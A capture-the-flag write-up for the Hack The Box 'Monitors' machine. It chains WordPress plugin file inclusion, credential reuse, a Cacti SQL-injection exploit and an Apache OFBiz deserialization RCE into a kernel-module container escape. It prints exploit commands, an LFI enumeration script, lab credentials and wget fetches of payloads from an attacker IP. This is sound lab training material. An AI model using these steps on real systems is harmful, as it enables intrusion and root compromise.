HTB Write-up | Monitors
Retired machine can be found here.
Scanning
Let's start the same as always, with a basic nmap
scan:
~ nmap -sC -sV -A 10.10.10.238
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-01 11:15 WEST
Nmap scan report for 10.10.10.238
Host is up (0.32s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
| 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_ 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There's an Apache
web server running on port 80 but we can't access it with the IP alone:
Luckily the virtual host is pretty obvious:
~ sudo nano /etc/hosts
...
10.10.10.238 monitors.htb
According to the footer the website was built using Wordpress, so let's run wpscan:
The tool found that this instance was using the WP with Spritz plugin, more specifically version 1.0, which is vulnerable to unauthenticated RFI.
As shown on this ExploitDB POC, all we need to do to is call a particular path inside the plugin directory - wp.spritz.content.filter.php
- with a specific parameter - url
- and we can see the content of any accessible file in the system, e.g.:
Enumerating with LFI
marcus
looks like the most interesting user, and it seems like we're able to access their home directory, but we can't read user.txt
.
Let's try to read the Wordpress configuration file:
~ curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php\?url\=../../../wp-config.php
So, we have the db name, user and password (which might be re-used somewhere else):
DB_NAME: 'wordpress'
DB_USER: 'wpadmin'
DB_PASSWORD: 'BestAdministrator@2020!'
Unfortunately, we don't have permissions to access the database locally and can't access the service from a remote machine. So, let's try some more enumeration using a handy list:
import os
baseurl = 'http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php\?url\=/'
entries = open('lfi_payloads.txt', 'r').read().split('\n')
for entry in entries:
print('Trying ' + entry)
os.system('curl ' + baseurl + entry + ' -O')
After some trial and error we finally get something interesting on etc/apache2/sites-enabled/000-default.conf
:
Exploring cacti-admin
Let's configure our new virtual host and access the website:
~ sudo nano /etc/hosts
...
10.10.10.238 cacti-admin.monitors.htb
Luckily we can use the credentials we found on the last step and get in: admin
/BestAdministrator@2020!
Going through the source code, we see that this application is using Cacti version 1.2.12, which has a lot of known vulnerabilities including an RCE via SQL Injection.
And better yet, there's a working payload on ExploitDB:
~ python cacti_exploit.py -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator@2020! --lhost 10.10.14.122 --lport 4444
[+] Connecting to the server...
[+] Retrieving CSRF token...
[+] Got CSRF token: sid:105acde9cf997ef401f3eaaf5a884e62c9776fa1,1620939044
[+] Trying to log in...
[+] Successfully logged in!
[+] SQL Injection:
"name","hex"
"",""
"admin","$2y$10$TycpbAes3hYvzsbRxUEbc.dTqT0MdgVipJNBYu8b7rUlmB8zn8JwK"
"guest","43e9a4ab75570f5b"
[+] Check your nc listener!
And we have a shell!
$ whoami
www-data
Let's upgrade it to an interactive shell:
~ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@monitors:/usr/share/cacti/cacti
Getting user
www-data@monitors:/home/marcus$ su marcus
Password: BestAdministrator@2020!
After failing to get anything interesting on the user's home directory, I tried to find all files with string "marcus":
$ grep "marcus" /etc -R 2>/dev/null
/etc/group-:marcus:x:1000:
/etc/subgid:marcus:165536:65536
/etc/group:marcus:x:1000:
/etc/passwd:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
/etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh
/etc/subuid:marcus:165536:65536
/etc/passwd-:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
The cacti-backup
service looks interesting:
$ cat /etc/systemd/system/cacti-backup.service
[Unit]
Description=Cacti Backup Service
After=network.target
[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh
[Install]
WantedBy=multi-user.target
Let's see if we can read the script that's being called:
$ cat /home/marcus/.backup/backup.sh
#!/bin/bash
backup_name="cacti_backup"
config_pass="VerticalEdge2020"
zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip
That's an interesting password 😉
$ su marcus
su marcus
Password: VerticalEdge2020
marcus@monitors:/usr/share/cacti/cacti$ cat /home/marcus/user.txt
cat /home/marcus/user.txt
1f9e04959870f6cd3c13216d0cf00583
And now we're able to access via SSH, which is a lot easier:
~ ssh marcus@monitors.htb
marcus@monitors.htb's password:
> VerticalEdge2020
...
marcus@monitors:~$
Red Herring
It seems like marcus
left a note in their home directory:
marcus@monitors:~$ cat note.txt
TODO:
Disable phpinfo in php.ini - DONE
Update docker image for production use -
Since the Docker image might be deprecated, let's filter out all of the processes running on the machine that are Docker-related:
$ ps aux | grep docker
root 1527 0.0 2.0 1196956 82704 ? Ssl 11:42 0:04 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 2006 0.1 0.2 628508 8864 ? Sl 11:42 0:15 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443
root 2039 0.0 0.1 108820 5768 ? Sl 11:42 0:01 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/a2e16ca5647428c5f43ce47fd08272fd8738ed80d3db0e6cf4bcb15370bbf184 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
Note that all of these are ran by root
, and the docker
group doesn't contain any user, which means we can't use most of the known privesc Docker vectors:
$ cat /etc/group | grep docker
docker:x:999:
$ cat /etc/passwd | grep 999
Let's see what else we can find about this instance of Docker
with deepce:
There doesn't seem to be a known vulnerability for the current Docker version, so we need to go another route.
Apache OFBiz
We know that docker-proxy
is mapping the host TCP port 8443
to the container's (172.17.0.2
) TCP port 8443
:
So we can SSH tunnel to see what's running on the container:
~ ssh -L 8443:localhost:8443 marcus@monitors.htb -fNT
marcus@monitors.htb's password:
> VerticalEdge2020
~ ps aux | grep 8443
inesmartins 38886 0.0 0.0 4331440 648 ?? Ss 12:35PM 0:00.00 ssh -L 8443:localhost:8443 marcus@monitors.htb -fNT
When we access this address on our local browser we can see this page:
A quick scan of the port tells us that the SSL
certificate was emitted for ofbiz-vm.apache.org
, which points to an Apache OFBiz applications.
~ nmap -sC -sV -A localhost -p 8443
PORT STATE SERVICE VERSION
8443/tcp open ssl/http Apache Tomcat 9.0.31
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
| ssl-cert: Subject: commonName=ofbiz-vm.apache.org/organizationName=Apache Software Fundation/stateOrProvinceName=DE/countryName=US
...
Apache OFBiz is a suite of business applications flexible enough to be used across any industry. A common architecture allows developers to easily extend or enhance it to create custom features.
This framework has some serious vulnerabilities, one of them being CVE-2020-9496
which enables unauthenticated RCE:
OfBiz exposes anXMLRPC
endpoint at/webtools/control/xmlrpc
. This is an unauthenticated endpoint since authentication is applied on a per-service basis. However, theXMLRPC
request is processed before authentication. As part of this processing, any serialized arguments for the remote invocation are deserialized, therefore if the classpath contains any classes that can be used as gadgets to achieve remote code execution, an attacker will be able to run arbitrary system commands on any OfBiz server with same privileges as the servlet container running OfBiz.
I found a really great POC on Github and gave it a shot:
~ git clone git@github.com:ambalabanov/CVE-2020-9496.git
~ cd CVE-2020-9496
~ wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial.jar
~ brew install --cask adoptopenjdk8brew tap adoptopenjdk/openjdk
~ brew tap adoptopenjdk/openjdk
~ java -version
~ export JAVA_HOME=`/usr/libexec/java_home -v 1.8.0_292`
I setup a local server:
~ python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
... and sent a curl command to see if the container would connect to it:
~ python3 cve-2020-9496.py --target https://localhost:8443
cmd> curl http://10.10.14.9:9000
[!] Send payload ...
[+] Done!
I got a connection from 10.10.10.238
which is the host machine's IP, so I knew this was working:
10.10.10.238 - - [29/Sep/2021 21:37:38] "GET / HTTP/1.1" 200 -
With RCE on the container, I decided to make enumeration a little easier and faster with a Python script:
After using this script with some LFI Seclists, I couldn't find any relevant files or hints, so I started thinking that this was a straightforward container escape.
I was also getting a little frustrated with not having a shell into the machine, so I decided to abandon my script and give Metasploit a try.
After some tweaking, I finally got it:
The final step
This was definitely the hardest part. I knew I had to escape from the container, and tried a lot of known exploits without any luck.
Finally, after a loooong and frustrating process I found this article from 2020: "Privileged Container Escapes with Kernel Modules":
It turns out that privileged containers (or just those withCAP_SYS_MODULE
) are able to use thesys_init_module()
andsys_finit_module()
syscalls - which are what’s used to load kernel modules.
As all containers share their kernel with the host (unlike VMs), this clearly results in yet another complete system compromise.
This led me to find this POC:
Note how the reverse shell is targeted at the host machine, on port 4444
, so we need to setup that listener:
marcus@monitors:~$ nc -nvlp 4444
On our machine, let's serve these files so that the container can fetch them using wget
:
~ python3 -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
Now, on the Metasploit shell, let's fetch the reverse-shell.c
and Makefile
, build the payload and trigger it:
> sessions -i 1
[*] Starting interaction with 1...
python -c 'import pty; pty.spawn("/bin/bash")'
root@79931c1ed9a2:/usr/src/apache-ofbiz-17.12.01# whoami
root
root@79931c1ed9a2:/usr/src/apache-ofbiz-17.12.01# cd /
root@79931c1ed9a2:/# wget http://10.10.14.22:9000/reverse-shell.c
root@79931c1ed9a2:/# wget http://10.10.14.22:9000/Makefile
root@79931c1ed9a2:/# export PATH=/usr/lib/gcc/x86_64-linux-gnu/8/:$PATH
root@79931c1ed9a2:/# make clean
root@79931c1ed9a2:/# make
root@79931c1ed9a2:/# insmod reverse-shell.ko
And that's it!
References
- https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-1
- https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-2
- https://chryzsh.gitbooks.io/pentestbook/content/local_file_inclusion.html
- https://www.hackingarticles.in/comprehensive-guide-on-remote-file-inclusion-rfi/
- https://the-bilal-rizwan.medium.com/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32
- https://book.hacktricks.xyz/pentesting/pentesting-web/wordpress
- https://alexander.holbreich.org/docker-components-explained/
- https://github.com/zweilosec/htb-writeups/blob/master/linux-machines/hard/quick-write-up.md
- https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout#mounted-docker-socket
- https://www.secureideas.com/blog/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html
- https://blog.nody.cc/posts/container-breakouts-part2/